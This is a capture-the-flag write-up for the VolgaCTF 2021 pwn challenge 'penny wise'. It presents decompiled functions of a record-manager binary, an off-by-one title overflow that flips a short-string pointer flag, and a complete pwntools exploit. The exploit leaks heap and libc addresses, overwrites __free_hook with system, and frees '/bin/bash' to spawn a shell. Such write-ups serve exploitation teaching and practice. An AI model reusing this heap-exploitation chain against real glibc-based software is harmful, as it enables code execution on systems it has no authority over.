Volga Qualifiers 21 - penny wise

8 minute read

Description

Thou shalt not extremely waste memory!

N.B. In case you’re wondering libc is 2.27.

First Look

WARNING: I did not notice an important (unintended) vulnerability of the challenge. There is a printf format string vuln in the Return Record function. I did not notice it. This exploit does not make use of it. The challenge is definitely a bit easier when using that vulnerability.

When executing the program we are presented with a textual menu, very typical of pwn challenges.

./bin
Welcome!
[S]tore record
[R]eturn record
[U]pdate content
[M]odify title
[D]elete record
[P]rint all
[Q]uit

It allows us to manage a list of ‘records’, each of which has a title and a content string.

Reversed Program

The Struct

nextPtr is for a linked list, title is a char[8], content is a pointer to a string… Almost. We’ll see.

00 Record          struc ; (sizeof=0x18)
00 nextPtr         dq ?
08 title           db 8 dup(?)             ; string(C)
10 content         dq ?
18 Record          ends

[S]tore record

storeRecord()

This function simply takes a title, checks if title isn’t already taken, and if it isn’t it creates a record, asks us for its content and then inserts it into a linked list of records. Notice that we can have a maximum of 10 records.

signed __int64 storeRecord()
{
  Record *sameTitle; // [rsp+8h] [rbp-28h] BYREF
  Record *newRecord; // [rsp+10h] [rbp-20h]
  char title[9]; // [rsp+1Fh] [rbp-11h] BYREF
  unsigned __int64 v4; // [rsp+128h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( recordNum() <= 9 )
  {
    *title = 0LL;
    title[8] = 0;
    puts("Type title");
    // null byte overflow, should be harmless here
    getStr(title, 9);
    sameTitle = 0LL;
    // this function checks if a title is already taken by a record
    // if it is, returns true and assigns a pointer to the record
    if ( titleAlreadyTaken(title, &sameTitle) )
    {
      puts("Record with such a title has already been added");
    }
    else
    {
      newRecord = callocRecordChunk();
      strcpy(newRecord->title, title);
      insertRecordContent(newRecord);
      if ( linkedListHead )
        newRecord->nextPtr = linkedListHead;
      linkedListHead = newRecord;
    }
  }
  else
  {
    puts("Too many records, delete any");
  }
  return __readfsqword(0x28u) ^ v4;
}

insertRecordContent()

This is where it gets interesting. When the content we insert is 7 bytes long or less, it will be stored right into the content pointer instead of using malloc to store it. This is basically the short string optimization we can see in std::string. The least significant bit of the content pointer is set to 1, which acts as a ‘short string’ flag. This can be done because we know malloc will never give us odd addresses.

unsigned __int64 __fastcall insertRecordContent(Record *a1)
{
  int i; // [rsp+14h] [rbp-11Ch]
  char contentbuf[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+128h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(contentbuf, 0, 0x100uLL);
  puts("Type content");
  getStr(contentbuf, 0x100);
  // if string fits in 7 bytes, store it in the pointer
  // this is 'short string' mode
  if ( strlen(contentbuf) <= 7 )
  {
    for ( i = 0; i <= 6; ++i )
      // bad disassembly, should be ((char*)content)[i+1]
      a1->title[i + 9] = contentbuf[i];
    // the least relevant byte acts as 'short string mode' flag
    // if lobyte is odd then it's short string mode
    LOBYTE(a1->content) |= 1u;
  }
  else
  {
    // else normal malloc strcpy
    a1->content = malloc(0x100uLL);
    strcpy(a1->content, contentbuf);
  }
  return __readfsqword(0x28u) ^ v4;
}

[D]elete Record

deleteRecord()

Nothing much to see here. Takes a title, searches for the corresponding chunk, deletes it. What about the functions it uses though?

unsigned __int64 deleteRecord()
{
  Record *sameTitle; // [rsp+0h] [rbp-20h] BYREF
  char title[9]; // [rsp+Fh] [rbp-11h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *title = 0LL;
  title[8] = 0;
  puts("Type title");
  getStr(title, 9);
  sameTitle = 0LL;
  if ( titleAlreadyTaken(title, &sameTitle) )
  {
    deleteContent(sameTitle);
    memset(sameTitle->title, 0, sizeof(sameTitle->title));
    removeFromList(sameTitle);
    printf("Delete record with title:%s\n", title);
  }
  else
  {
    puts("Record with such a title hasn't been found");
  }
  return __readfsqword(0x28u) ^ v3;
}

deleteContent()

Here we see again the difference between short string mode and normal record. It calls free on content only if it is not in short string mode.

void *__fastcall deleteContent(Record *a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  // if short string mode
  if ( (a1->content & 1) != 0 )
  {
    for ( i = 0; i <= 6; ++i )
      // bad disassembly, should be ((char*)content)[i+1]
      a1->title[i + 9] = 0;
    // sets all other bits to 1 or 0, sets least important to 0...
    // weird way to do it
    LOBYTE(a1->content) &= 0xFEu;
  }
  // only frees if content does not start with null byte?
  else if ( a1->content && *a1->content )
  {
    free(a1->content);
  }
  // then sets everything to 0 anyway
  return memset(&a1->content, 0, sizeof(a1->content));
}

[U]pdate Content

updateContent()

Here we can also see important differences in behavior, based on whether the record is ‘short string mode’ or not.

unsigned __int64 updateContent()
{
  Record *recordcopy; // rbx
  int i; // [rsp+4h] [rbp-13Ch]
  Record *record; // [rsp+8h] [rbp-138h] BYREF
  char title[9]; // [rsp+17h] [rbp-129h] BYREF
  char contentbuf[264]; // [rsp+20h] [rbp-120h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  *title = 0LL;
  title[8] = 0;
  puts("Type title");
  getStr(title, 9);
  record = 0LL;
  if ( titleAlreadyTaken(title, &record) )
  {
    memset(contentbuf, 0, 256uLL);
    puts("Type content");
    getStr(contentbuf, 256);
    // if short string mode
    // (least relevant byte not 0)
    if ( (record->content & 1) != 0 )
    {
      // if new content is 'short' again, just write
      if ( strlen(contentbuf) <= 7 )
      {
        for ( i = 0; i <= 6; ++i )
          record->title[i + 9] = contentbuf[i];
        LOBYTE(record->content) |= 1u;
      }
      else
      {
        // else malloc
        recordcopy = record;
        recordcopy->content = malloc(0x100uLL);
        strcpy(record->content, contentbuf);
      }
    }
    else
    {
      // if record is not short string mode,  
      // put the new content on the already existing chunk
      // regardless of length
      memset(record->content, 0, 0x100uLL);
      strcpy(record->content, contentbuf);
    }
  }
  else
  {
    puts("Record with such a title hasn't been found");
  }
  return __readfsqword(0x28u) ^ v6;
}

[M]odify Title (and vulnerability)

And finally, this is where we find the vulnerability we will use in the exploit. There is an off by one in the function to modify the title! The title is placed right before the content field, so we can modify the least relevant byte of it (thanks to little endian order).

unsigned __int64 modifyTitle()
{
  int i; // [rsp+4h] [rbp-3Ch]
  Record *record; // [rsp+8h] [rbp-38h] BYREF
  char title[9]; // [rsp+17h] [rbp-29h] BYREF
  char titlebuf[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  *title = 0LL;
  title[8] = 0;
  puts("Type title");
  getStr(title, 9);
  record = 0LL;
  if ( titleAlreadyTaken(title, &record) )
  {
    *titlebuf = 0LL;
    *&titlebuf[8] = 0LL;
    puts("Type new title");
    // getStr is a wrapper to fgets
    getStr(titlebuf, 16);
    memset(record->title, 0, sizeof(record->title));
    // one byte overflow
    // might not have null terminator
    for ( i = 0; i <= 8; ++i )
      record->title[i] = titlebuf[i];
  }
  else
  {
    puts("Record with such a title hasn't been found");
  }
  return __readfsqword(0x28u) ^ v5;
}

Exploit

Here is the gist of the exploit:

  • Keep a ‘short string mode’ record
  • Fill the tcache with ‘normal mode’ records and get to unsorted bin to leak pointers to libc
  • Use the title overflow to leak heap from one of the normal records
  • Update content of short string record to a pointer to leak libc
  • Use the title overflow to change the short string mode record into a normal record, then read from it (leaking libc)
  • Use the title overflow to change the record back into short string mode
  • Update content of short string record to a pointer to free hook
  • Use the title overflow to change the short string mode record into a normal record, then write to it (with system)
  • Free a /bin/bash string, getting shell
# small string record
store_record('short', 'lol')

# prep for libc leak
# I want 8 chunks with 0x100 malloc content (long strings)
for x in range(8):
    store_record(str(x), 'lolaaaaaaaaaaaaaaaa')

# then one 'end' chunk to block 
# the others from being merged with top chunk
store_record('end', 'bruh')

# heap leak
# modify title, removing the null terminator
# we have to use one of the malloc strings chunks
# Also we use 'print all' because we need to print the title,
# Return record won't do
modify_title('0', 'b'*9)
print_all()
io.recvuntil('b'*9)
heap_base = u64(b'\x00' + io.recv(5) + b'\x00\x00') & 0xFFFFFFFFFFFFF000
log.info(f'Heap Base: {hex(heap_base)}')

# Put the title and the 'short string' byte back to normal
# We need to do this or we won't be able to fill the 0x110 bin
modify_title('b'*8, '0' + '\x00'*7 + '\xa0')

# Fill the 0x110 tcache bin and put one on the unsorted bin
# The unsorted bin chunk will have pointers to libc main arena
for x in range(8):
    delete_record(str(x))

# Recover the libc leak
libc_leak_addr = heap_base + 0xaf0 # found with gdb

# Use shortstring to place 7 bytes of the address
new_content = p64(libc_leak_addr)[1:]
modify_content('short', new_content)

# Use the overflow on the title to set the
# least important byte of the nextptr, removing the shortstring flag
# and placing the remaining byte of the address to leak
new_title = 'short' + '\x00'*3 + chr(libc_leak_addr & 0xFF)
modify_title('short', new_title)

# Now 'short' is actually a malloc record, and its content will
# give us libc leak. Let's recover it.
return_record('short')
libc.address = u64(io.recv(6) + b'\x00\x00') - \
    (0x7fe47906bca0 - 0x7fe478c80000) # found with gdb
log.info(f'Libc Base: {hex(libc.address)}')

# make 'short' a short string record again
new_title = 'short' + '\x00'*3 + '\x01'
modify_title('short', new_title)

# set up a chunk to store the shell command
store_record('shell', '/bin/bash\x00' + 'a'*10)

# modify free hook, using pretty much
# the same technique we used to leak libc
# Except instead of reading the content,
# we write to it. the content will be free_hook
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
new_content = p64(free_hook)[1:]
new_title = 'short' + '\x00'*3 + chr(free_hook & 0xFF)
modify_content('short', new_content)
modify_title('short', new_title)
modify_content('short', p64(system))

# Call shell command
delete_record('shell')
io.interactive() # VolgaCTF{N1cke1_unD_d!mE_a_b!t}

Files

exploit.py

bin

bin.i64

backup

libc.so.6

ld-2.27.so

Comments